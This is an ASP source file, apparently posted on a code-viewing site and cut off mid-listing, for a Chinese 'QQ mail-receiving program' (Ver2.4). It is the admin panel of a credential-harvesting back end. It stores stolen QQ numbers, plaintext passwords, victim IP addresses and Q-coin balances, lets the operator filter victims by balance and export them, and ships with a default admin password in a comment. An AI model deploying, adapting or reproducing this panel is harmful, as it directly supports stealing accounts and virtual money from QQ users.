📄 index.asp
字号:
<%
'========================================================
'本程序由ㄨiaoC制作
'欢迎访问ㄨiaoC 网络资源工作室 http://www.cc99.cn
'程序默认密码:cc99cn
'========================================================
dim my_conn,dbpath
Path=server.MapPath("cc99qq.mdb")
set my_Conn = server.CreateObject("ADODB.Connection")
connstr="driver={Microsoft Access Driver (*.mdb)};dbq="& path
my_Conn.Open connstr
'-------------------------登陆模块------------------------
Response.Buffer=true
Response.Expires=0
Response.CacheControl="no-cache"
%>
<%
url2=request.ServerVariables("url")
if session("LoginOK")<>"Admin" then
%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>啊啦QQ ACCESS收信程序 Ver2.4</title>
<style type="text/css">
<!--
.style1 {font-family: Arial, Helvetica, sans-serif}
.style2 {font-size: x-small}
.style4 {color: #FFCC00}
.style8 {color: #FF6600}
.style17 {color: #99CC00}
.style21 {color: #FF9966}
.style29 {color: #996666}
.style34 {color: #FFFF00}
.style35 {font-size: x-small; color: #FFFF00; }
.style36 {color: #00CCFF}
.style37 {color: #000000}
.style38 {color: #009900}
-->
</style>
</head>
<body>
<form name="form1" method="post" action="">
<table width="395" border="1" align="center" bordercolor="#000000">
<tr bgcolor="#999999">
<th colspan="2" scope="row"><div align="center" class="style1"> 管理登陆</div></th>
</tr>
<tr>
<th width="105" height="40" bgcolor="#CCCCCC" scope="row"><div align="center">密 码：</div></th>
<td width="274" bgcolor="#CCCCCC"> <input type="password" name="Psw"></td>
</tr>
<tr bgcolor="#999999">
<th height="40" colspan="2" scope="row"><input type="submit" name="Submit" value="老大来啦 开门哦!"></th>
</tr>
</table>
<p> </p>
</form>
<div align="center">
<p class="style2 style34">-------------------------------------------------------------------------------------</p>
<pre><span class="style36"><span class="style21">都是喜欢平淡生活的孩子</span>
<span class="style38">有些往事不堪回首</span>
<span class="style36">不管回忆是酸是甜</span>
<span class="style17">把握好现在</span>
<span class="style8">珍惜拥有的</span>
<span class="style29">还要创造未来<span class="style39">的</span>美好</span>
</span><strong><u>Unknow Error</u></strong><span class="style36">
by ㄨiaoC</span></pre>
<p class="style35"><span class="style2 style34">-------------------------------------------------------------------------------------</span></p>
<pre class="style37">Powered By ALQQ Access Ver2.4</pre>
</div>
</body>
</html>
<%
Psw=trim(request.Form("psw"))
if psw<>"" then
set rst=server.CreateObject("adodb.recordset")
strsql="select * from sa"
rst.open strsql,my_conn,1
if psw=rst("AdminPas") then
session("LoginOK")="Admin"
url=request.ServerVariables("url")
response.Redirect(url)
else
response.Redirect("http://www.cc99.cn")
end if
end if
end if
if session("LoginOK")="Admin" then
%>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>啊啦QQ ACCESS收信程序 Ver2.4</title>
<style type="text/css">
<!--
.style6 {font-size: 16px}
.style7 {color: #FF6600}
.style8 {color: #FF66CC}
.style9 {color: #33CC00}
.style10 {color: #FF3300}
.style11 {color: #0099FF}
.style12 {color: #CC9933}
.style13 {color: #666600}
-->
</style>
</head>
<body>
<table width="784" border="0" align="center">
<tr>
<th width="91" scope="row"><h1 class="style6 style12"><a href=<%=url2%> class="style13">[返回首页]</a></a></h1></th>
<th width="114" scope="row"><h1><a href="<%=url2%>?menu=ok&m=Cleardb" class="style6 style11">[清空数据库]</a></h1></th>
<td width="176"><h1><a href="<%=url2%>?menu=ok&m=Deltxt" class="style6 style10">[删除生成的文本文件]</a></h1></td>
<td width="110"><h1 align="center"><a href="<%=url2%>?menu=ok&m=Backdb" class="style6 style9">[备份数据库]</a></h1></td>
<td width="141" class="style6"><h2 class="style6"><a href="<%=url2%>?menu=ok&m=outtxt" class="style8">[导出为文本文件]</a></h2></td>
<td width="126"><h1><a href="<%=url2%>?menu=ok&m=cpass" class="style6 style7">[修改管理密码]</a></h1></td>
</tr>
</table>
<hr align="center" noshade>
<p>
<%
dim m
m=request("m")
if request("menu")="" then
%>
</p>
<table border="0" align="center">
<tr bordercolor="0">
<td width="6" bordercolor="0"> </td>
<td bordercolor="0">
<form name="form2" method="post" action="<%=url2%>">
<p>搜索=
<select name="select">
<option value="5">5</option>
<option value="6">6</option>
<option value="7">7</option>
<option value="8">8</option>
<option value="9">9</option>
</select>
位的QQ
<input type="submit" name="Submit2" value="搜索">
</p>
</form> </td>
<td width="52" bordercolor="0"> </td>
<td bordercolor="0">
<form name="form2" method="post" action="<%=url2%>">
<p>搜索QB≥
<option value="5">
<label>
<input name="selectQB" type="text" id="selectQB" value="1" size="4" maxlength="4">
</label>
</option>
的QQ
<input type="submit" name="Submit2" value="搜索">
</p>
</form> </td>
<td width="6"> </td>
</tr>
</table>
<div align="center">
<table width="777" border="1" bordercolor="#333333">
<tr>
<td nowrap bgcolor="#FFCCFF"><div align="center">ID</div></td>
<td nowrap bgcolor="#FFFFCC"><div align="center">QQ号码</div></td>
<td nowrap bgcolor="#66FF99"><div align="center">QQ密码</div></td>
<td nowrap bgcolor="#33CCCC"><div align="center">客户IPAddress</div></td>
<td nowrap bgcolor="#00CCFF"><div align="center">发送时间</div></td>
<td nowrap bgcolor="#66CC00"><div align="center">QB</div></td>
<td nowrap bgcolor="#FF0000"><div align="center">删除记录</div></td>
</tr>
<%
if request("select")<>"" then
set rst=server.CreateObject("adodb.recordset")
if request("select")="10" then
strsql="select * from Inform where len(Nam)>="&int(request("select"))
else
strsql="select * from Inform where len(Nam)="&int(request("select"))
end if
rst.open strsql,my_conn,1
if not rst.eof then
for i=1 to rst.recordcount
if rst.eof then
exit for
else
%>
<form name="form1" method="post" action="">
<input type="hidden" name=id value=<%=rst("id")%>>
<tr>
<td nowrap bgcolor="#FFCCFF"><div align="center"><span class="style4"><%=rst("id")%></span></div></td>
<td nowrap bgcolor="#FFFFCC"> <div align="center"><span class="style4"><%=rst("Nam")%></span></div></td>
<td nowrap bgcolor="#66FF99"><div align="center"><span class="style4"><%=rst("psw")%></span></div></td>
<td nowrap bgcolor="#33CCCC"><div align="center"><span class="style4"><%=rst("IPAddress")%></span></div></td>
<td nowrap bgcolor="#00CCFF"><div align="center"><span class="style4"><%=rst("CreatTime")%></span></div></td>
<td nowrap bgcolor="#66CC00"><div align="center"><span class="style4"><%=rst("QBInform")%></span></div></td>
<td nowrap bgcolor="#FF0000"><div align="center" class="style4">
<input type="submit" name="Submit" value="删除">
</div></td>
</tr>
</form>
<%
end if
rst.movenext
next
end if
elseif request("selectQB")<>"" then
set rst=server.CreateObject("adodb.recordset")
strsql="select * from Inform where int(QBInform)>="&int(request("selectQB"))
rst.open strsql,my_conn,1
if not rst.eof then
for i=1 to rst.recordcount
if rst.eof then
exit for
else
%>
<form name="form1" method="post" action="">
<input type="hidden" name=id value=<%=rst("id")%>>
<tr>
<td nowrap bgcolor="#FFCCFF"><div align="center"><span class="style4"><%=rst("id")%></span></div></td>
<td nowrap bgcolor="#FFFFCC"><div align="center"><span class="style4"><%=rst("Nam")%></span></div></td>
<td nowrap bgcolor="#66FF99"><div align="center"><span class="style4"><%=rst("psw")%></span></div></td>
<td nowrap bgcolor="#33CCCC"><div align="center"><span class="style4"><%=rst("IPAddress")%></span></div></td>
<td nowrap bgcolor="#00CCFF"><div align="center"><span class="style4"><%=rst("CreatTime")%></span></div></td>
<td nowrap bgcolor="#66CC00"><div align="center"><span class="style4"><%=rst("QBInform")%></span></div></td>
<td nowrap bgcolor="#FF0000"><div align="center" class="style4">
<input type="submit" name="Submit" value="删除">
</div></td>
</tr>
</form>
<%
end if
rst.movenext
next
end if
else
set rst=server.CreateObject("adodb.recordset")
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -